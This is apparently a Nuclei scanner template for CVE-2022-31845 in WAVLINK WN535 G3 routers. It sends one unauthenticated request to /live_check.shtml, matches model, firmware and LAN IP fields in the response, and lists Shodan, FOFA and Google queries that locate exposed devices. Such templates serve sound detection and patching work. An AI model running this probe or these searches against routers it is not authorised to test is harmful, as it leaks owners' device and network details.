id: CVE-2022-31845

info:
  name: WAVLINK WN535 G3 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN535 G3 M35G3R.V5030.180927 is susceptible to information disclosure in live_check.shtml. An attacker can obtain sensitive router information via execution of the exec cmd function and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to gain unauthorized access to sensitive information, such as login credentials or network configuration.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://github.com/pghuanghui/CVE_Request/blob/main/WAVLINK%20WN535%20G3__check_live.md
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-30489
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31845
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-31845
    cwe-id: CWE-668
    epss-score: 0.53119
    epss-percentile: 0.98003
    cpe: cpe:2.3:o:wavlink:wn535g3_firmware:m35g3r.v5030.180927:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn535g3_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
      - http.title:"wi-fi app login"
    fofa-query:
      - title="wi-fi app login"
      - body="wavlink"
    google-query: intitle:"wi-fi app login"
  tags: cve,cve2022,wavlink,exposure,vuln

http:
  - raw:
      - |
        @timeout: 10s
        GET /live_check.shtml HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Model='
          - 'FW_Version='
          - 'LanIP='
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a12078238c72fc2c29287b0cd7efe3b1c5fe24414575125a1dabcb041bc9f4a90221009110efa254aee6a486397079c2fe50e6cddc91503a04ecbb564bfd16d10a270a:922c64590222798bb761d5b6d8e72950